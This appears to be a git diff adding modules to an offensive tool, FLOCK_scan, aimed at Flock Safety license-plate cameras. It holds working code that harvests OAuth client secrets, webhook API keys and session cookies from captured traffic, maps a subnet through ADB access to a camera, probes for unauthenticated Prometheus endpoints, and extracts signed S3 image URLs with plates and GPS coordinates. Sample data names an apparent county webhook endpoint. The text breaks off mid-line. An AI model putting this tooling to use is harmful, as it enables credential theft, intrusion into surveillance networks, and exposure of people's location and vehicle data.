if not body: + return findings + + # ── M2M Paired (client_id + client_secret together) ── + for m in M2M_PAIRED.finditer(body): + findings.append({ + "type": "M2M_CREDENTIALS", + "value": f"client_id={m.group(1)}, client_secret={m.group(2)}", + "client_id": m.group(1), + "client_secret": m.group(2), + "source": source, + "confidence": "HIGH" if FLOCK_TOKEN_ENDPOINT.search(body) else "MEDIUM", + "context": body[max(0, m.start()-80):m.end()+80], + }) + + # ── Individual M2M client_ids ── + for m in M2M_CLIENT_ID.finditer(body): + # Skip if already captured in paired match + if not any(f.get("client_id") == m.group(1) for f in findings if f.get("client_id")): + findings.append({ + "type": "CLIENT_ID", + "value": m.group(1), + "source": source, + "confidence": "MEDIUM" if AUTH0_DOMAIN.search(body) else "LOW", + "context": body[max(0, m.start()-40):m.end()+40], + }) + + # ── Individual client secrets ── + for m in M2M_CLIENT_SECRET.finditer(body): + if not any(f.get("client_secret") == m.group(1) for f in findings if f.get("client_secret")): + findings.append({ + "type": "CLIENT_SECRET", + "value": m.group(1), + "source": source, + "confidence": "MEDIUM", + "context": body[max(0, m.start()-40):m.end()+40], + }) + + # ── Flock M2M Audience ── + for m in FLOCK_AUDIENCE.finditer(body): + findings.append({ + "type": "M2M_AUDIENCE", + "value": m.group(1), + "source": source, + "confidence": "HIGH", + }) + + # ── Flock Organization UUID ── + for m in FLOCK_ORG_ID.finditer(body): + findings.append({ + "type": "ORGANIZATION_UUID", + "value": m.group(1), + "source": source, + "confidence": "HIGH", + }) + + # ── Webhook API keys ── + for m in FLOCK_WEBHOOK_API_KEY.finditer(body): + findings.append({ + "type": "WEBHOOK_API_KEY", + "value": m.group(1), + "source": source, + "confidence": "HIGH" if "flock" in body.lower() else "MEDIUM", + "context": body[max(0, m.start()-40):m.end()+40], + }) + + # ── Webhook URLs ── + for m in WEBHOOK_URL.finditer(body): + findings.append({ + "type": "WEBHOOK_URL", + "value": m.group(0), + "source": source, + "confidence": "MEDIUM", + }) + + # ── Callback URLs ── + for m in CALLBACK_URL.finditer(body): + findings.append({ + "type": "CALLBACK_URL", + "value": m.group(1), + "source": source, + "confidence": "HIGH", + }) + + # ── Generic API keys ── + for pattern, label in API_KEY_PATTERNS: + for m in pattern.finditer(body): + # Skip short or obviously fake keys + val = m.group(1) + if len(val) < 8 or val in ("password", "password123", "admin"): + continue + findings.append({ + "type": label, + "value": val, + "source": source, + "confidence": "LOW", + "context": body[max(0, m.start()-30):m.end()+30][:100], + }) + + return findings + + +def extract_creds_from_headers(headers, source="unknown"): + """Scan HTTP response headers for credential leaks.""" + findings = [] + if not headers: + return findings + + h = {k.lower(): v for k, v in headers.items()} + + # X-API-Key + for key in ("x-api-key", "x-api-key", "api-key", "authorization"): + if key in h: + val = h[key] + if key == "authorization" and val.startswith("Bearer "): + val = val[7:] + findings.append({ + "type": "HEADER_API_KEY", + "value": val, + "header": key, + "source": source, + "confidence": "MEDIUM", + }) + + # Set-Cookie can leak session info + if "set-cookie" in h: + cookie = h["set-cookie"] + # Check for session tokens + if "session" in cookie.lower() or "token" in cookie.lower(): + findings.append({ + "type": "SESSION_COOKIE", + "value": cookie[:200], + "header": "Set-Cookie", + "source": source, + "confidence": "LOW", + }) + + return findings + + +def scan_responses(responses, output_file=None): + """ + Scan a list of HTTP response data from captured traffic. + Each response: {"url": str, "body": str, "headers": dict, "source": str} + + Returns deduplicated cred findings + optionally writes them to a doc. + """ + all_findings = [] + seen_values = set() + + for resp in responses: + findings = extract_creds( + resp.get("body", ""), + source=resp.get("source", resp.get("url", "unknown")), + headers=resp.get("headers"), + ) + findings += extract_creds_from_headers( + resp.get("headers", {}), + source=resp.get("source", resp.get("url", "unknown")), + ) + + for f in findings: + dedup_key = f"{f['type']}:{f['value']}" + if dedup_key not in seen_values: + seen_values.add(dedup_key) + all_findings.append(f) + + # Write to doc if output_file specified + if output_file and all_findings: + write_creds_report(all_findings, output_file) + + return all_findings + + +def write_creds_report(findings, output_path): + """Write a human-readable credentials dump to a file.""" + timestamp = datetime.now().isoformat() + + with open(output_path, "w") as f: + f.write("╔══════════════════════════════════════════════════════════════╗\n") + f.write("║ FLOCK_scan — Captured Credentials Report ║\n") + f.write(f"║ Generated: {timestamp} ║\n") + f.write("╚══════════════════════════════════════════════════════════════╝\n\n") + + # Group by type + by_type = {} + for finding in findings: + t = finding["type"] + if t not in by_type: + by_type[t] = [] + by_type[t].append(finding) + + priority_order = [ + "M2M_CREDENTIALS", "CLIENT_ID", "CLIENT_SECRET", "M2M_AUDIENCE", + "ORGANIZATION_UUID", "WEBHOOK_API_KEY", "WEBHOOK_URL", + "CALLBACK_URL", "HEADER_API_KEY", "SESSION_COOKIE", + "API_Key", "Generic_Secret", "Token", "Password", + ] + + for ptype in priority_order: + if ptype not in by_type: + continue + items = by_type[ptype] + + f.write(f"\n{'─' * 70}\n") + severity = { + "M2M_CREDENTIALS": "[CRIT] CRITICAL", + "CLIENT_ID": "[HIGH] HIGH", + "CLIENT_SECRET": "[CRIT] CRITICAL", + "WEBHOOK_API_KEY": "[CRIT] CRITICAL", + "ORGANIZATION_UUID": "[MED] MEDIUM", + "CALLBACK_URL": "[MED] MEDIUM", + "HEADER_API_KEY": "[MED] MEDIUM", + "WEBHOOK_URL": "[LOW] LOW", + }.get(ptype, "[INFO] INFO") + + f.write(f" {severity} {ptype} ({len(items)} found)\n") + f.write(f"{'─' * 70}\n") + + for item in items: + f.write(f"\n Value: {item['value']}\n") + f.write(f" Source: {item.get('source', 'unknown')}\n") + f.write(f" Conf: {item.get('confidence', 'N/A')}\n") + ctx = item.get("context", "") + if ctx: + f.write(f" Context: {ctx[:200]}\n") + f.write("\n") + + f.write(f"\n{'═' * 70}\n") + f.write(f"Total findings: {len(findings)}\n") + f.write(f"File: {output_path}\n") + + return len(findings) + + +def format_findings_terminal(findings, color=True): + """Format findings for terminal display.""" + lines = [] + + if not findings: + return " No credentials found." + + by_type = {} + for f in findings: + by_type.setdefault(f["type"], []).append(f) + + for ptype in ["M2M_CREDENTIALS", "CLIENT_ID", "CLIENT_SECRET", + "WEBHOOK_API_KEY", "ORGANIZATION_UUID", "CALLBACK_URL", + "WEBHOOK_URL", "HEADER_API_KEY"]: + if ptype not in by_type: + continue + items = by_type[ptype] + if color: + label = { + "M2M_CREDENTIALS": "\033[91m[M2M]\033[0m", + "CLIENT_ID": "\033[93m[CLIENT_ID]\033[0m", + "CLIENT_SECRET": "\033[91m[SECRET]\033[0m", + "WEBHOOK_API_KEY": "\033[91m[WEBHOOK_KEY]\033[0m", + "ORGANIZATION_UUID": "\033[93m[ORG_ID]\033[0m", + "CALLBACK_URL": "\033[93m[CALLBACK]\033[0m", + "WEBHOOK_URL": "\033[94m[WEBHOOK]\033[0m", + "HEADER_API_KEY": "\033[93m[HEADER_KEY]\033[0m", + }.get(ptype, f"[{ptype}]") + else: + label = f"[{ptype}]" + + for item in items: + lines.append(f" {label} {item['value'][:80]}") + if item.get("context"): + lines.append(f" └─ {item['source']}") + + return "\n".join(lines) + + +# ═══════════════════════════════════════════════════════════════════ +# CLI TEST +# ═══════════════════════════════════════════════════════════════════ + +if __name__ == "__main__": + sample = """ + const config = { + client_id: "CfDcZ19oi2zyujdBmSTr1f78rE8PcpaU", + client_secret: "ml7YQ41K--MLHJn8SwEDVdUbF9Gga9NLKlf4BUvww2LlJnGYJuVS5YgMQYHMCX1L", + audience: "com.flocksafety.integrations", + organization_id: "39f42f24-393f-4a2e-bca2-0ce4cdf3fbf7", + token_endpoint: "https://api.flocksafety.com/oauth/token", + webhook_api_key: "BCSOREDFIVE-FLOCK-LPR-7f3a9e2d1c4b8056", + callback_url: "https://redfive.berkeleycountysc.gov/webhooks/flock_webhook.php" + }; + """ + + findings = extract_creds(sample, source="sample_config") + print("Terminal output:\n") + print(format_findings_terminal(findings)) + print("\n\nWriting to creds_report.txt...") + write_creds_report(findings, "/tmp/creds_test.txt") + print(open("/tmp/creds_test.txt").read()) diff --git a/modules/network_map.py b/modules/network_map.py new file mode 100644 index 0000000..54b1202 --- /dev/null +++ b/modules/network_map.py @@ -0,0 +1,269 @@ +#!/usr/bin/env python3 +""" +network_map.py — Passive subnet discovery for FLOCK_scan + +When we have ADB access to a Flock camera, we can map out the local +network without sending a single probe — just by reading ARP tables, +DHCP leases, mDNS responses, and connection state from the camera. + +Usage: + from modules.network_map import NetworkMapper + nm = NetworkMapper(host, timeout=5) + report = nm.full_map() +""" + +import socket +import re +import json +import time +from collections import defaultdict + + +class NetworkMapper: + """Passive network mapper — discovers devices via ARP/mDNS/connection state.""" + + OUI_DB = { + "00:00:0c": "Cisco", + "00:01:5c": "3Com", + "00:05:5d": "Dell", + "00:0c:29": "VMware", + "00:15:5d": "Microsoft Hyper-V", + "00:50:56": "VMware", + "00:1a:a0": "Dell", + "00:23:ae": "Apple", + "00:25:00": "Apple", + "00:26:08": "Apple", + "08:00:27": "Oracle VirtualBox", + "08:00:69": "Apple", + "10:05:ca": "Huawei", + "10:6f:d9": "Juniper", + "14:10:9f": "HP", + "18:03:73": "Cisco", + "20:37:06": "Samsung", + "24:65:11": "Hikvision", + "28:92:4a": "Dahua", + "2c:33:11": "Ubiquiti", + "30:8c:fb": "Hikvision", + "34:08:04": "Ring", + "3c:2e:ff": "Ubiquiti", + "44:d9:e7": "Raspberry Pi", + "48:22:54": "Google Nest", + "48:e7:29": "Google", + "4c:eb:42": "Nest Labs", + "50:c7:bf": "Amazon", + "54:60:09": "Ring", + "58:8d:09": "Dahua", + "60:64:05": "Amazon", + "64:16:8e": "Pakedge", + "68:72:51": "Hikvision", + "6c:83:36": "Hikvision", + "70:b8:f6": "Axis", + "74:75:48": "Apple", + "78:8b:5c": "Axis", + "7c:dd:90": "Google", + "80:2a:a8": "Huawei", + "84:0d:8e": "Amazon", + "88:36:6c": "Google", + "8c:85:90": "Ubiquiti", + "90:38:0c": "Synology", + "90:b0:ed": "Yale", + "94:10:3e": "Samsung", + "98:01:a7": "Belkin", + "98:f0:ab": "Apple", + "a0:02:dc": "HP", + "a4:77:33": "Apple", + "a8:66:7f": "Samsung", + "a8:93:4a": "Ring", + "ac:22:0b": "TP-Link", + "b0:e1:7e": "D-Link", + "b8:27:eb": "Raspberry Pi", + "b8:a3:86": "Netgear", + "c0:25:a5": "Cisco Meraki", + "c8:3a:35": "Dell", + "cc:32:e5": "Hikvision", + "d0:52:a8": "Google", + "d4:a6:51": "D-Link", + "dc:a6:32": "Apple", + "e0:ac:cb": "Cisco", + "e4:5f:01": "Google", + "e8:48:1b": "Arlo", + "f0:9f:c2": "Apple", + "f4:f2:6d": "Cisco Meraki", + "f8:e9:03": "Red Hat KVM", + "fc:a6:cd": "Amazon", + } + + def __init__(self, camera_host=None, timeout=5): + self.camera_host = camera_host + self.timeout = timeout + self._adb_func = None + self._sock_func = None + + if camera_host: + from modules.adb_deep import ( + get_arp_table, get_interfaces, get_gateway, + get_process_list as _get_ps, + ) + self._adb_func = { + "arp": lambda: get_arp_table(camera_host, timeout), + "interfaces": lambda: get_interfaces(camera_host, timeout), + "gateway": lambda: get_gateway(camera_host, timeout), + } + + def resolve_oui(self, mac): + """Look up manufacturer by MAC OUI.""" + if not mac: + return None + prefix = mac.upper()[:8] + if prefix in self.OUI_DB: + return self.OUI_DB[prefix] + # Try first 3 octets (standard OUI) + prefix6 = mac.upper()[:8] + # Some have 6-char prefixes (xx:xx:xx) + prefix6_alt = ":".join(mac.split(":")[:3]).upper() + for oui, mfr in self.OUI_DB.items(): + if oui.upper() == prefix6_alt or oui.upper() == prefix6: + return mfr + return "Unknown" + + def from_arp(self): + """Build device list from ARP table (passive, zero probes).""" + if not self._adb_func: + return [] + + arp_entries = self._adb_func["arp"]() + devices = [] + seen_ips = set() + + if arp_entries: + for entry in arp_entries: + ip = entry.get("ip", "") + mac = entry.get("mac", "") + iface = entry.get("iface") + + if ip in seen_ips or not ip or ip == self.camera_host: + continue + seen_ips.add(ip) + + devices.append({ + "ip": ip, + "mac": mac, + "oui": self.resolve_oui(mac), + "discovery": "arp", + "via_interface": iface, + "confidence": "high", + }) + + # Add gateway + gw = self._adb_func["gateway"]() + if gw and gw not in seen_ips and gw != self.camera_host: + devices.append({ + "ip": gw, + "mac": None, + "oui": None, + "discovery": "gateway", + "via_interface": None, + "confidence": "high", + }) + + return devices + + def from_interfaces(self): + """Return the camera's own interface information.""" + if not self._adb_func: + return [] + + ifaces = self._adb_func["interfaces"]() + return ifaces or [] + + def _probe_mdns(self, ip, timeout=2): + """Try to mDNS resolve a hostname for an IP.""" + try: + # mDNS reverse lookup + query = ".".join(reversed(ip.split("."))) + ".in-addr.arpa" + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.settimeout(timeout) + + # Simple mDNS query for A records + name = ip.replace(".", "-") + ".local" + try: + host = socket.gethostbyaddr(ip) + return host[0] + except Exception: + return None + except Exception: + return None + + def enrich_arp_devices(self, devices): + """Add MAC vendor + reverse DNS to discovered devices.""" + enriched = [] + for d in devices: + ip = d.get("ip", "") + mac = d.get("mac", "") + + # Try to PTR the IP + rdns = None + try: + rdns = socket.gethostbyaddr(ip)[0] + except Exception: + pass + + d["reverse_dns"] = rdns + enriched.append(d) + return enriched + + def full_map(self): + """ + Produce a full network map report from passive data. + + Returns dict: + - camera: { ip:, interfaces:, gateway:, dns:, wifi: } + - discovered_devices: [{ ip, mac, oui, discovery, reverse_dns }] + - summary: { total, gateway, router, cameras, unknown } + """ + from modules.adb_deep import adb_deep_collect + + camera_info = adb_deep_collect(self.camera_host, timeout=self.timeout) if self.camera_host else None + + arp_devices = self.from_arp() + arp_devices = self.enrich_arp_devices(arp_devices) + + # Count types + vendor_counts = defaultdict(int) + for d in arp_devices: + vendor_counts[d.get("oui", "Unknown")] += 1 + + report = { + "camera": { + "ip": self.camera_host, + "network_info": camera_info, + } if camera_info else {"ip": self.camera_host}, + "discovered_devices": arp_devices, + "summary": { + "total_devices_on_subnet": len(arp_devices) + 1, # +1 for camera itself + "devices_found": len(arp_devices), + "gateway": next((d["ip"] for d in arp_devices if d.get("discovery") == "gateway"), None), + "vendor_breakdown": dict(vendor_counts), + }, + } + + return report + + +# ── CLI test ───────────────────────────────────────────────────────── + +if __name__ == "__main__": + import sys + target = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100" + + nm = NetworkMapper(target) + report = nm.full_map() + + print(json.dumps(report, indent=2, default=str)) + + print("\n─── Summary ───") + s = report["summary"] + print(f"Camera: {target}") + print(f"Gateway: {s.get('gateway', 'unknown')}") + print(f"Devices on subnet (from ARP): {s['devices_found']}") + print(f"Vendors: {s.get('vendor_breakdown', {})}") diff --git a/modules/prometheus_scraper.py b/modules/prometheus_scraper.py new file mode 100644 index 0000000..7d592ed --- /dev/null +++ b/modules/prometheus_scraper.py @@ -0,0 +1,291 @@ +#!/usr/bin/env python3 +""" +prometheus_scraper.py — Passive Prometheus discovery from camera traffic. + +When cameras are on a network that exposes Prometheus endpoints, we can +scrape metrics without authentication. This module: + + 1. Checks for Prometheus on discovered gateway/subnet IPs + 2. Scrapes /api/v1/targets to find ALL monitored endpoints + 3. Extracts device names, job names, health status + 4. Queries key metrics (up, flock_device_info, etc.) + +This is 100% passive recon — we're reading what Prometheus already exposes. +""" + +import json +import re +import socket +from datetime import datetime + +try: + import requests + from requests.packages.urllib3.exceptions import InsecureRequestWarning + requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + HAVE_REQUESTS = True +except ImportError: + HAVE_REQUESTS = False + + +# ── Common Prometheus ports ── +PROMETHEUS_PORTS = [9090, 9091, 9100, 9101] + +# ── Flock-specific metrics patterns ── +FLOCK_METRIC_PATTERNS = [ + "flock", "camera", "device", "alpr", "lpr", + "temperature", "uptime", "disk_", "memory_", + "cpu_", "network_", "wifi_", "signal", +] + +# ── Interesting metric names ── +INTERESTING_METRICS = [ + "up", "flock_device_info", "flock_camera_status", + "node_uname_info", "node_load1", "node_memory_MemTotal_bytes", + "node_filesystem_size_bytes", "node_network_receive_bytes_total", + "node_time_seconds", "process_start_time_seconds", +] + + +def probe_prometheus(host, port=9090, timeout=5): + """ + Check if a host is running Prometheus on the given port. + Probes /api/v1/targets (common open endpoint). + + Returns dict with targets + status, or None if not Prometheus. + """ + if not HAVE_REQUESTS: + return None + + try: + r = requests.get( + f"http://{host}:{port}/api/v1/targets", + timeout=timeout, + headers={"User-Agent": "FLOCK_scan/3.0"}, + ) + if r.status_code == 200: + data = r.json() + if data.get("status") == "success": + return _parse_targets(data, host, port) + except requests.exceptions.ConnectionError: + pass + except requests.exceptions.Timeout: + pass + except Exception: + pass + + # Fallback: try /metrics (older Prometheus) + try: + r = requests.get( + f"http://{host}:{port}/metrics", + timeout=timeout, + headers={"User-Agent": "FLOCK_scan/3.0"}, + ) + if r.status_code == 200 and b"prometheus" in r.content[:500].lower(): + return { + "host": host, + "port": port, + "type": "prometheus", + "metrics_accessible": True, + "targets_api": False, + "target_count": None, + "targets": [], + "flock_targets": 0, + } + except Exception: + pass + + # Grafana fallback check + try: + r = requests.get( + f"http://{host}:{port}/api/health", + timeout=timeout, + headers={"User-Agent": "FLOCK_scan/3.0"}, + ) + if r.status_code == 200 and "grafana" in r.text.lower(): + return { + "host": host, + "port": port, + "type": "grafana", + "metrics_accessible": True, + "targets_api": False, + "target_count": None, + "targets": [], + "flock_targets": 0, + } + except Exception: + pass + + return None + + +def _parse_targets(data, host, port): + """Parse Prometheus /api/v1/targets response.""" + result = { + "host": host, + "port": port, + "type": "prometheus", + "metrics_accessible": True, + "targets_api": True, + "target_count": 0, + "targets": [], + "flock_targets": 0, + } + + active = data.get("data", {}).get("activeTargets", []) + dropped = data.get("data", {}).get("droppedTargets", []) + result["dropped_count"] = len(dropped) + + for target in active: + labels = target.get("labels", {}) + discovered = target.get("discoveredLabels", {}) + scrape_url = target.get("scrapeUrl", "") + health = target.get("health", "unknown") + + entry = { + "job": labels.get("job", ""), + "instance": labels.get("instance", ""), + "module": labels.get("module", ""), + "device": labels.get("device", ""), + "model": labels.get("model", ""), + "scrape_url": scrape_url, + "health": health, + "last_scrape": target.get("lastScrape", ""), + "scrape_duration": target.get("lastScrapeDuration", ""), + } + + # Extract Flock-specific info + name_parts = " ".join(str(v) for v in entry.values()).lower() + is_flock = any(p in name_parts for p in FLOCK_METRIC_PATTERNS) + if is_flock: + result["flock_targets"] += 1 + entry["flock_device"] = True + + result["targets"].append(entry) + + result["target_count"] = len(active) + + # Try /api/v1/query for key metrics + result["metrics"] = _scrape_metrics(host, port) + + return result + + +def _scrape_metrics(host, port, timeout=5): + """Query specific Prometheus metrics.""" + metrics = {} + + for metric in INTERESTING_METRICS: + try: + r = requests.get( + f"http://{host}:{port}/api/v1/query", + params={"query": metric}, + timeout=timeout, + headers={"User-Agent": "FLOCK_scan/3.0"}, + ) + if r.status_code == 200: + data = r.json() + if data.get("status") == "success": + results = data.get("data", {}).get("result", []) + if results: + metrics[metric] = [] + for res in results: + val = res.get("value", [None, ""]) + labels = res.get("metric", {}) + metrics[metric].append({ + "labels": labels, + "value": val[1] if len(val) > 1 else None, + }) + except Exception: + pass + + return metrics if metrics else None + + +def scan_subnet_for_prometheus(gateway=None, local_ips=None, timeout=3): + """ + Scan likely addresses for Prometheus instances. + Scans: gateway, .1, .2, .254, and any known local IPs. + + Returns list of discovered Prometheus instances. + """ + targets = set() + + if gateway: + targets.add(gateway) + # Scan nearby IPs + try: + parts = gateway.split(".") + for last in [1, 2, 254]: + targets.add(f"{parts[0]}.{parts[1]}.{parts[2]}.{last}") + except Exception: + pass + + if local_ips: + for ip in local_ips: + targets.add(ip) + try: + parts = ip.split(".") + for last in [1, 254]: + targets.add(f"{parts[0]}.{parts[1]}.{parts[2]}.{last}") + except Exception: + pass + + discovered = [] + for host in targets: + for port in PROMETHEUS_PORTS: + result = probe_prometheus(host, port=port, timeout=timeout) + if result: + discovered.append(result) + break # Don't re-check same host on other ports + + return discovered + + +def format_prometheus_findings(findings): + """Format Prometheus findings for terminal display.""" + lines = [] + if not findings: + return " No Prometheus/Grafana instances found." + + for f in findings: + lines.append(f"\n \033[96m{f['type'].upper()}\033[0m at {f['host']}:{f['port']}") + + if f.get("target_count") is not None: + lines.append(f" Targets: {f['target_count']} ({f.get('flock_targets', 0)} Flock-related)") + + if f.get("targets"): + # Show Flock-related targets + flock_targets = [t for t in f["targets"] if t.get("flock_device")] + if flock_targets: + lines.append(f" \033[91mFlock Devices in Prometheus:\033[0m") + for t in flock_targets[:10]: + lines.append(f" └─ {t['instance']:25} job={t['job']} \033[92m{t['health']}\033[0m") + if t.get("model"): + lines.append(f" model={t['model']}") + + # Show key metrics + if f.get("metrics") and len(flock_targets) > 0: + lines.append(f" Metrics:") + for metric, values in f["metrics"].items(): + lines.append(f" {metric}: {len(values)} results") + + if f.get("dropped_count"): + lines.append(f" Dropped targets: {f['dropped_count']}") + + return "\n".join(lines) + + +# ═══════════════════════════════════════════════════════════════════ +# CLI TEST +# ═══════════════════════════════════════════════════════════════════ + +if __name__ == "__main__": + import sys + target = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1" + + print(f"Probing {target} for Prometheus...") + result = probe_prometheus(target) + if result: + print(json.dumps(result, indent=2, default=str)) + else: + print("No Prometheus found.") diff --git a/modules/s3_url_catcher.py b/modules/s3_url_catcher.py new file mode 100644 index 0000000..459fd2f --- /dev/null +++ b/modules/s3_url_catcher.py @@ -0,0 +1,367 @@ +#!/usr/bin/env python3 +""" +s3_url_catcher.py — Extract signed S3 URLs from captured camera traffic. + +When cameras send alert webhooks or the admin UI loads images, we can +capture signed S3 URLs from the traffic. These URLs have expiry windows +(typically 7 days for Flock alert images) and give us: + + - LPR capture images (license plates) + - Camera snapshots + - Evidence of deployment locations + +This module processes captured HTTP payloads (from tap mode, PCAP, or +HTTP response bodies) and extracts: + + - flock-hibiki-inbox.s3.amazonaws.com URLs + - Generic S3 signed URLs + - hotspot/flocksafety.com image URLs + - Metadata: timestamp, device, organization +""" + +import re +import json +from datetime import datetime +from urllib.parse import urlparse, parse_qs + + +# ── S3 and Flock image URL patterns ── + +S3_SIGNED_URL = re.compile( + r'https?://[a-zA-Z0-9.-]*flock-hibiki-inbox[a-zA-Z0-9.-]*\.s3\.amazonaws\.com/[^"\'\s<>]+', + re.I +) + +S3_GENERIC = re.compile( + r'https?://[a-zA-Z0-9._-]+\.s3\.amazonaws\.com/[^"\'\s<>]+', + re.I +) + +FLOCK_IMAGE_URL = re.compile( + r'https?://[a-zA-Z0-9._-]*flocksafety\.com/[^"\'\s<>]*\.(?:jpg|jpeg|png|gif|webp)[^"\'\s<>]*', + re.I +) + +FLOCK_DETAILS_URL = re.compile( + r'https?://hotlist\.flocksafety\.com/[^"\'\s<>]+', + re.I +) + +# S3 URL with X-Amz-Signature = signed +SIGNED_URL_PATTERN = re.compile( + r'https?://[^"\'\s<>]+\?X-Amz-Signature=[a-f0-9]{64}[^"\'\s<>]*', + re.I +) + +# Image URL from JSON payloads (like webhook bodies) +JSON_IMAGE_URL = re.compile( + r'"(?:imageUrl|image_url|url|preview|thumbnail)"\s*:\s*"(https?://[^"]+\.(?:jpg|jpeg|png))"', + re.I +) + + +def extract_s3_urls(data, source="unknown"): + """ + Extract all S3/flock image URLs from a text body (HTTP response, + PCAP payload, etc.). + + Returns list of dicts with url, type, expiry_info, source. + """ + results = [] + + if not data: + return results + + seen_urls = set() + + # 1. Flock hibiki-inbox S3 (known camera image bucket) + for m in S3_SIGNED_URL.finditer(data): + url = m.group(0) + if url in seen_urls: + continue + seen_urls.add(url) + + info = { + "url": url, + "type": "FLOCK_S3_IMAGE", + "bucket": "flock-hibiki-inbox", + "source": source, + "signed": "X-Amz-Signature" in url, + "expiry": extract_expiry(url), + } + results.append(info) + + # 2. Other S3 buckets + for m in S3_GENERIC.finditer(data): + url = m.group(0) + if url in seen_urls: + continue + seen_urls.add(url) + + bucket = urlparse(url).hostname.split(".")[0] if urlparse(url).hostname else "unknown" + + info = { + "url": url, + "type": "S3_GENERIC", + "bucket": bucket, + "source": source, + "signed": "X-Amz-Signature" in url, + "expiry": extract_expiry(url), + } + results.append(info) + + # 3. Signed URLs (non-S3 but with X-Amz-Signature) + for m in SIGNED_URL_PATTERN.finditer(data): + url = m.group(0) + if url in seen_urls: + continue + seen_urls.add(url) + + info = { + "url": url, + "type": "SIGNED_URL", + "bucket": urlparse(url).hostname if urlparse(url).hostname else "unknown", + "source": source, + "signed": True, + "expiry": extract_expiry(url), + } + results.append(info) + + # 4. Flock hotlist/capture URLs + for m in FLOCK_IMAGE_URL.finditer(data): + url = m.group(0) + if url in seen_urls: + continue + seen_urls.add(url) + + info = { + "url": url, + "type": "FLOCK_HOTLIST_IMAGE", + "source": source, + "signed": False, + } + results.append(info) + + return results + + +def extract_expiry(url): + """Extract X-Amz-Expires or Expires parameter from a signed URL.""" + try: + parsed = urlparse(url) + params = parse_qs(parsed.query) + + if "X-Amz-Expires" in params: + expires_seconds = int(params["X-Amz-Expires"][0]) + return f"{expires_seconds}s ({expires_seconds//3600}h)" + + if "Expires" in params: + return params["Expires"][0] + + # Check for ISO expiry in URL + m = re.search(r'imageExpiration["\']\s*:\s*["\']([^"\']+)["\']', url) + if m: + return m.group(1) + + except Exception: + pass + return None + + +def extract_from_webhook_payload(body, source="unknown"): + """ + Parse a Flock webhook JSON payload for image URLs and metadata. + Returns structured data with device info and S3 URLs. + """ + results = [] + try: + payload = json.loads(body) if isinstance(body, str) else body + except json.JSONDecodeError: + return results + + if not isinstance(payload, dict): + return results + + # Extract image URL + image_url = payload.get("imageUrl") + if image_url: + results.append({ + "url": image_url, + "type": "WEBHOOK_IMAGE", + "source": source, + "signed": "X-Amz-Signature" in image_url, + "expiry": payload.get("imageExpiration"), + "metadata": { + "device_name": payload.get("deviceName"), + "device_id": payload.get("deviceExternalId"), + "plate": payload.get("ocr", {}).get("label"), + "state": payload.get("ocr", {}).get("state"), + "timestamp": payload.get("eventTime"), + "latitude": payload.get("deviceLat"), + "longitude": payload.get("deviceLong"), + "network": payload.get("networkName"), + "details_url": payload.get("detailsUrl"), + }, + }) + + # Details URL + details = payload.get("detailsUrl") + if details: + results.append({ + "url": details, + "type": "WEBHOOK_DETAILS", + "source": source, + "metadata": {"plate": payload.get("ocr", {}).get("label")}, + }) + + return results + + +def scan_traffic_for_s3(http_responses=None, pcap_payloads=None, output_file=None): + """ + Scan captured HTTP responses and raw PCAP payloads for S3 URLs. + + http_responses: list of {url, body, headers, source} + pcap_payloads: list of raw strings from traffic tap + + Returns deduplicated S3 findings. + """ + all_urls = [] + seen = set() + + if http_responses: + for resp in http_responses: + body = resp.get("body", "") + source = resp.get("source", resp.get("url", "unknown")) + + # Extract from body + for url_info in extract_s3_urls(body, source=source): + key = url_info["url"] + if key not in seen: + seen.add(key) + all_urls.append(url_info) + + # Try webhook JSON parsing + for wh_info in extract_from_webhook_payload(body, source=source): + key = wh_info["url"] + if key not in seen: + seen.add(key) + all_urls.append(wh_info) + + if pcap_payloads: + for payload in pcap_payloads: + if isinstance(payload, str): + source_data = "pcap_raw" + for url_info in extract_s3_urls(payload, source=source_data): + key = url_info["url"] + if key not in seen: + seen.add(key) + all_urls.append(url_info) + + # Write to output file + if output_file and all_urls: + write_s3_report(all_urls, output_file) + + return all_urls + + +def write_s3_report(urls, output_path): + """Write S3 URL findings to a file.""" + timestamp = datetime.now().isoformat() + + with open(output_path, "w") as f: + f.write("╔══════════════════════════════════════════════════════════════╗\n") + f.write("║ FLOCK_scan — Captured S3 Image URLs ║\n") + f.write(f"║ Generated: {timestamp} ║\n") + f.write("╚══════════════════════════════════════════════════════════════╝\n\n") + + if not urls: + f.write("No S3 URLs found.\n") + return 0 + + f.write(f"Total unique URLs: {len(urls)}\n\n") + + # Group by type + for url_info in urls: + f.write(f"{'─' * 70}\n") + f.write(f" {url_info['type']}\n") + f.write(f" URL: {url_info['url']}\n") + if url_info.get("expiry"): + f.write(f" Exp: {url_info['expiry']}\n") + if url_info.get("bucket"): + f.write(f" Buck: {url_info['bucket']}\n") + if url_info.get("source"): + f.write(f" From: {url_info['source']}\n") + + meta = url_info.get("metadata") + if meta: + plate = meta.get("plate") + if plate: + f.write(f" Plate: {plate}\n") + dev = meta.get("device_name") + if dev: + f.write(f" Cam: {dev}\n") + loc = meta.get("latitude") + if loc: + f.write(f" GPS: {loc}, {meta.get('longitude')}\n") + ts = meta.get("timestamp") + if ts: + f.write(f" Time: {ts}\n") + f.write("\n") + + f.write(f"{'═' * 70}\n") + f.write(f"Total: {len(urls)} S3 URLs captured\n") + + return len(urls) + + +def format_s3_findings_terminal(urls): + """Format S3 URL findings for terminal display.""" + lines = [] + if not urls: + return " No S3 URLs captured." + + lines.append(f" \033[93m{len(urls)} S3/image URLs captured:\033[0m") + + for u in urls[:15]: # Show max 15 + url_short = u["url"][:100] + expiry = u.get("expiry", "") + plate = u.get("metadata", {}).get("plate", "") + + icon = "\033[91m[S3_IMG]\033[0m" if u["type"] == "WEBHOOK_IMAGE" else "\033[94m[URL]\033[0m" + line = f" {icon} {url_short}" + + if expiry: + line += f" \033[90m(exp: {expiry})\033[0m" + if plate: + line += f" \033[93m[{plate}]\033[0m" + + lines.append(line) + + if len(urls) > 15: + lines.append(f" \033[90m... and {len(urls) - 15} more\033[0m") + + return "\n".join(lines) + + +# ═══════════════════════════════════════════════════════════════════ +# CLI TEST +# ═══════════════════════════════════════════════════════════════════ + +if __name__ == "__main__": + sample_webhook = json.dumps({ + "deviceLat": 33.045, + "deviceLong": -80.106, + "deviceName": "LR#007 College Park Rd @ N Main St NB", + "deviceExternalId": "949692b4-3110-413e-a93c-52fbc5a9885a", + "imageUrl": 